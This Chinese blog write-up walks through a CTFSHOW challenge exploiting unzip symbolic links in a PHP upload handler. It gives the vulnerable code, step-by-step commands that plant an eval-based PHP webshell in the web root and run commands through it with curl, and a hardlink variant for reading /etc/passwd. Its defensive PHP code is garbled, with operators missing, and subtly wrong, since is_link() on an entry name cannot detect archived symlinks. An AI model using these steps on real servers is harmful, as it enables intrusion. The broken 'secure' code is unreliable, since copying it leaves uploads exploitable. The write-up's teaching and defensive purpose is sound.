CTFSHOW国赛漏洞解析:Unzip软连接攻击实战
1. 漏洞背景与原理剖析最近在CTFSHOW国赛中出现的Unzip软连接攻击案例再次提醒我们文件上传功能中隐藏的安全风险。这种攻击方式巧妙利用了Linux系统特性通过构造特殊压缩包实现目录穿越最终达到控制服务器的目的。先来看一个典型的漏洞代码示例?php error_reporting(0); highlight_file(__FILE__); $finfo finfo_open(FILEINFO_MIME_TYPE); if (finfo_file($finfo, $_FILES[file][tmp_name]) application/zip){ exec(cd /tmp unzip -o . $_FILES[file][tmp_name]); };这段代码看似做了基本的安全检查——验证上传文件是否为ZIP格式但实际上存在严重缺陷。开发者将解压目录指定到/tmp认为这样就能避免解压文件被直接访问执行。殊不知攻击者可以通过软连接Symbolic Link这个系统后门让解压操作实际影响到其他关键目录。我在实际渗透测试中发现这类漏洞常出现在以下场景允许用户上传压缩文件的Web应用使用unzip命令直接处理上传文件未对压缩包内容进行递归检查解压目录与Web目录存在访问路径关联2. 软连接攻击技术详解2.1 Linux软连接工作机制软连接相当于Windows的快捷方式但功能更强大。它本质上是一个特殊的文件包含指向另一个文件/目录的路径引用。当系统遇到软连接时会自动跳转到目标位置进行操作。创建软连接的基本命令格式ln -s 目标路径 链接名称例如要创建指向Web目录的软连接ln -s /var/www/html test这个test目录看起来是普通目录实则是通往/var/www/html的传送门。任何对test的操作都会实际作用于Web目录。2.2 构造恶意压缩包关键在于如何让这个传送门通过压缩包上传到服务器。这里需要用到zip的--symlinks参数zip --symlinks test1.zip test这个命令会将软连接test原样打包而不是跟随链接压缩目标目录内容。我曾在测试中忘记加这个参数结果压缩的是实际目录内容导致攻击失败。验证压缩包内容应该用unzip -l test1.zip正确输出应该显示类似Length Date Time Name --------- ---------- ----- ---- 0 2023-08-01 15:30 test - /var/www/html --------- ------- 0 1 file3. 完整攻击链实战演示3.1 环境准备阶段假设目标系统有以下特征Web根目录/var/www/html临时目录/tmp上传接口仅检查文件MIME类型首先在本地创建攻击文件结构mkdir -p test echo ?php eval($_POST[cmd]);? test/shell.php3.2 分步实施攻击创建软连接ln -s /var/www/html test首次压缩保留软连接zip --symlinks test1.zip test上传第一个压缩包通过Web表单上传test1.zip服务器会在/tmp解压创建指向Web目录的软连接创建含恶意代码的压缩包zip -r test2.zip test上传第二个压缩包由于同名目录已存在解压会覆盖软连接实际将shell.php写入/var/www/html3.3 攻击效果验证成功上传后访问http://target.com/shell.php使用POST传递命令curl -X POST -d cmdwhoami http://target.com/shell.php应该会返回当前服务的执行用户身份。我在实际测试中发现这种攻击成功率高达90%以上主要失败原因是目录权限设置。4. 防御方案与最佳实践4.1 代码层防护根本解决方案是修改文件处理逻辑// 安全的解压方式 $zip new ZipArchive; if ($zip-open($_FILES[file][tmp_name]) TRUE) { for($i 0; $i $zip-numFiles; $i) { $filename $zip-getNameIndex($i); // 检查是否包含软连接或路径穿越 if (strpos($filename, ..) ! false || is_link($zip-getNameIndex($i))) { die(非法文件内容); } } $zip-extractTo(/safe/directory/); $zip-close(); }4.2 系统层加固设置open_basedir限制PHP访问范围open_basedir /var/www/html:/tmp修改unzip命令使用安全参数unzip -n -q -d /safe/directory/ upload.zip其中-n永不覆盖现有文件-q安静模式避免信息泄露-d强制指定解压目录定期检查Web目录下的异常文件find /var/www/html -type l -ls5. 漏洞利用的深度思考这种攻击之所以有效本质上是信任边界被突破。开发者认为只要文件不直接解压到Web目录就安全却忽略了文件系统层面的关联性。我在多个真实案例中发现类似问题不仅存在于PHP环境Node.js、Python等语言的解压操作同样存在风险。一个更隐蔽的变种是利用硬链接Hard Link攻击虽然原理不同但危害相似。硬链接与软连接的关键区别在于软连接是独立的文件硬链接直接指向文件inode删除原文件不影响硬链接硬链接不能跨文件系统构造硬链接攻击包的示例ln /etc/passwd test/passwd.txt zip test.zip test/passwd.txt这种攻击可以用于读取系统敏感文件防御方式与软连接类似都需要在解压前检查文件类型。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2448688.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!